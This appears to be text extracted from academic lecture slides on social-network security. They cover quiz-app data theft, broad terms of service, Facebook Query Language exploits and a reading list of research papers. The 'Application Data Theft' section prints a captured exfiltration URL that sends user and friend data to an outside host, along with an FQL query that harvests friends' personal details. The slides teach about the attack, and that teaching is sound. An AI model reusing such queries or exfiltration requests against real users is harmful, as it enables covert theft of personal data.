Social Networks and Security

Checkpoint
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Promotional Techniques

Find people you know here
Already 33,082,535 people on Badoo!

33,082,535 people are on Badoo, 148,411 online now!
What happens when you take a quiz...
Application Data Theft

Facebook Application Architecture
Application Data Theft

http://sochr.com/i.php\&name=[Joseph Bonneau]\&nx=[My User ID]\&age=[My DOB]\&gender=[My Gender]\&pic=[My Photo URL]\&fname0=[Friend #1 Name 1]\&fname1=[Friend #2 Name]\&fname2=[Friend #3 Name]\&fname3=[Friend #4 Name]\&fpic0=[Friend #1 Photo URL]\&fpic0=[Friend #2 Photo URL]\&fpic0=[Friend #3 Photo URL]\&fpic0=[Friend #4 Photo URL]\&fb_session_params=[All of the quiz application's session parameters]
select uid, birthday, current_location, sex, first_name, name, pic_square, relationship_status FROM user WHERE uid IN (select uid2 from friend where uid1 = '[current user id]') and strlen(pic) > 0 order by rand() limit 500
Application Data Theft

Create Your Own Quiz >

Hey Peter
Hot singles are waiting for you!!

What the users sees...
Terms of Service, hi5:

We provide your Personal Information to third party service providers who work on behalf of or with hi5 under confidentiality agreements to provide some of the services and features of the hi5 community and to help us communicate with hi5 Members. These service providers may use your personal information to communicate with you about offers and services from hi5 and our marketing partners. However, these service providers do not have any independent right to share this information.

If you decide to use one of the additional services that are offered by our partners, we may forward Personal Information to these partners to enable them to provide the services that you requested.
We also provide information to third-party advertising companies, as described in the next section.

Please be aware that the handling of your Personal Information by our partners or the third-party advertising companies is governed by their privacy policy, not ours.

Most Terms of Service reserve broad rights to user data
**My Reading List**

http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html

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### Searchable List of Papers

There are 76 entries.

#### Sort by

| Applications of SNS | Attacks | Crawling and Analysis | General | Graph Anonymity | Graph Inference | Privacy Enhancement | Privacy-Enabling Architecture | Sybils | User Studies |

#### then by

| title | author | year | type | subscription |

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**Applications of SNS**

- Andrew Besmer, Heather Richter Lipford, Mohamed Shelab and Gorrell Cheok
- Jeremy Gaedke, W. Keith Edwards and Elizabeth D. Mynatt
- Challenges in Supporting End-User Privacy and Security Management with Social Navigation 2009
- Gayatri Swamy, Christo Wilson, Bryce Boc, Kevin Almeroth and Ben Y. Zhao
- Do Social Networks Improve e-Commerce?: A Study on Social Marketplaces 2006
- Arinudh V. Ramachandran and Nick Feamster
- Krishna P. N. Puttaswamy, Alessandra Sala and Ben Y. Zhao
- Improving Anonymity using Social Links 2008
- Shishir Nagaraja

**Privacy Amplification with Social Networks 2007**

- Wenwu Wang, Li Zhao and Ruxi Yuan
- Improving Cooperation in Peer-to-Peer Systems Using Social Networks 2006
- Alan Mislove, Krishna P. Gummadi and Peter Druschel
- Exploiting Social Networks For Internet Search 2006
- Scott Garriss, Michael Kaminsky, Michael J. Freedman, Brad Karp, David Mazieres and Haifeng Yu

**RE: Reliable Email 2006**

- Prasanna Ganesan Sergio Marti and Hector Garcia-Molina
- SPROUT: P2P Routing with Social Networks 2005

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**Attacks**

- Joseph Bonneau, Jonathan Anderson and George Danezis
- Prying Data out of a Social Network 2009
- Elias Athanassopoulos, A. Makridakis, D. Antoniadis, S. Antonatos, Sotiris Ioannidis, K. G. Anagnostakis and Evangelos P. Markatos
- Antisocial Networks: Turning a Social Network into a Botnet 2008
- Menica Chew, Dirk Balfanz and Ben Laurie
- (Under)mining Privacy in Social Networks 2008
- Tom Jagatic, Nathaniel Johnson, Markus Jakobsson and Filippe Menczer

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**Social Mining 2003**
Facebook Query Language

Facebook Query Language Exploits (Bonneau, Anderson, Danezis, 2009)
## Web 2.0?

<table>
<thead>
<tr>
<th>Function</th>
<th>Internet version</th>
<th>Facebook version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Page Markup</td>
<td>HTML, JavaScript</td>
<td>FBML</td>
</tr>
<tr>
<td>DB Queries</td>
<td>SQL</td>
<td>FBQL</td>
</tr>
<tr>
<td>Email</td>
<td>SMTP</td>
<td>FB Mail</td>
</tr>
<tr>
<td>Forums</td>
<td>Usenet, etc.</td>
<td>FB Groups</td>
</tr>
<tr>
<td>Instant Messages</td>
<td>XMPP</td>
<td>FB Chat</td>
</tr>
<tr>
<td>News Streams</td>
<td>RSS</td>
<td>FB Stream</td>
</tr>
<tr>
<td>Authentication</td>
<td>OpenID</td>
<td>FB Connect</td>
</tr>
<tr>
<td>Photo Sharing</td>
<td>Flickr, etc.</td>
<td>FB Photos</td>
</tr>
<tr>
<td>Video Sharing</td>
<td>YouTube, etc.</td>
<td>FB Video</td>
</tr>
<tr>
<td>Blogging</td>
<td>Blogger, etc.</td>
<td>FB Notes</td>
</tr>
<tr>
<td>Microblogging</td>
<td>Twitter, etc.</td>
<td>FB Status Updates</td>
</tr>
<tr>
<td>Micropayment</td>
<td>Peppercoin, etc.</td>
<td>FB Points</td>
</tr>
<tr>
<td>Event Planning</td>
<td>E-Vite</td>
<td>FB Events</td>
</tr>
<tr>
<td>Classified Ads</td>
<td>craigslist</td>
<td>FB Marketplace</td>
</tr>
</tbody>
</table>
The Downside of Re-inventing the Internet

- SNSs repeating all of the web's security problems
  - Phishing
  - Spam
  - 419 Scams & Fraud
  - Identity Theft/Impersonation
  - Malware
  - Cross-site Scripting
  - Click-Fraud
  - Stalking, Harassment, Bullying, Blackmail
Poor Implementation
Poor Implementation

**enable photo tagging:**
- People can tag my photos with their friends
- My friends can tag me in photos
- People can see a list of photos I am tagged in

Orkut Photo Tagging
Facebook Connect Applications

Facebook Connect is a way to use applications outside of Facebook. You can take your Facebook profile information all over the Internet, and send interesting information back to your Facebook account.

When your friend connects their Facebook account with an application outside of Facebook, they will be able to compare their Facebook Friend List with information from that website in order to invite more friends to connect.

☐ Don't allow friends to view my memberships on other websites through Facebook Connect.
Password Sharing

Connect The Run Around with Facebook to interact with your friends on this site and to share on Facebook through your Wall and friends' News Feeds. This site will also be able to automatically post recent activity back to Facebook.

Find People You Email
Searching your email account is the fastest and most effective way to find your friends on Facebook.

Your Email: jbonneau@gmail.com
Password: 
Find Friends

Find People You IM
Find out which of your AOL Instant Messenger or Windows Live Messenger buddies are on Facebook.

Import AIM Buddy List »
Import Windows Live Contacts »